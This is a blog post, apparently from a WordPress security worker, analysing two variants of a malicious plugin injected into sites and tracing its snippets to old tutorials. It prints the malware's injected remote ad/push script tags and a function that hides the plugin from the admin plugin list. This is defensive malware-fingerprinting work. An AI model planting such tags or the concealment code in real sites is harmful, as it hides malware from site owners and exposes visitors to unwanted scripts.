While working on Jetpack Security, one thing I have a greater opportunity than most to do is inspect naughty bits of code that get injected into a user’s site.
One that I stumbled upon this past week reminded me of another from a bit ago — I can’t say precisely what reminded me of it, but my brain connected the two. So I looked back to find the prior infection and this is what turned up:
https://www.diffchecker.com/MYId3pFX
Clearly — a number of similarities between the two files. Of the four hundred plus lines in question, only fifty or so contain any changes, and most of those are namespace changes — changing mont
to ccode
, or perhaps some subtle refinements on how it detects the remote visitor’s IP address.
One of the most interesting aspects — to me anyways — is tracing the source of various snippets used in the code.
Good artists copy. Great artists steal.
Steve Jobs, misattributing a quotation to Pablo Picasso
So firstly, when skimming the code, around line 20, I found the following:
add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
function salcode_add_plugin_page_settings_link( $links ) {
$links[] = '<a href="' .
admin_url( 'options-general.php?page=monit' ) .
'">' . __('Settings') . '</a>';
return $links;
}
Huh — it references salcode
— I know that namespace, it’s commonly used by Sal Ferrarello! Figuring it may have been lifted off an article he’d written, I reached out to check. Sure enough, he had a 2014 article called “WordPress Plugin Add Settings Link” that he pointed me towards — and sure enough, the code was a straight copy/paste job in the Monitization
variant. In the Custom Code
variant of the malware, it was tweaked to be namespaced a bit further (changing the trailing link
to ccode
, but the similarities are still there.
We also can glean a bit from the tags that the code tries to inject. The original attempts:
<script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3260072" async data-cfasync="false"></script>
<script src="https://pushsar.com/pfe/current/tag.min.js?z=3260077" data-cfasync="false" async></script>
<script type="text/javascript" src="//inpagepush.com/400/3324386" data-cfasync="false" async="async"></script>
Where the latter Custom Code
implementation attempts:
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>
Beside the swap from which quotes need escaping due to single vs double in the wrapping string, we can see a couple notable bits:
- The first tag seems to have been swapped out in its entirety.
- The second tag seems to have swapped from
pushsar.com
topropu.sh
— with the general url structure remaining the same. This can indicate the service just changed domains, and kept everything else business as usual. - The last tag remained as before —
inpagepush.com
— but just changing the identifier on the end.
A bit later on, we can find several instances where the mont
namespace (possibly typo’d from monit
) was not changed to ccode
—
register_setting( 'ccode-settings', 'default_mont_options' );
if(get_option('default_mont_options') !=='on')
At the end of the file, we’re confronted with this bit:
function hide_plugin_trickspanda() {
global $wp_list_table;
$hidearr = array('monit.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
Here again, we’ve got a strong hint from the namespace, trickspanda
. So in this case, it came from an article that Hardeep Asrani wrote on Tricks Panda — again, back in 2014. The Monitization
variant didn’t seem to change the namespace, leaving it as trickspanda
, but the later Custom Code
variant swapped it out to ccode
.
Finally, at the conclusion of the Custom Code
variant (not present in the original) we can see the following:
function getVisIpAddr_ccode() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
}
else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
As it is, this seems to have been lifted from a Geeks For Geeks article dated May 2019. The code uses it up above to handle instances where traffic comes through a load balancer or proxy or the like, with original IP addresses in the header. Interestingly enough, for anyone else who has a need for similar functionality, WordPress Core ships with a similar function already, get_unsafe_client_ip()
.
So what have we found? Code gets reused, a lot. Old tutorials from 2014 can still offer information going strong years afterwards. Be wise what bits of bad code you use to fingerprint it and identify future infections, as it’s far better to find the unremarkable but unique bits, than the bits they may change to conceal it from future iterations.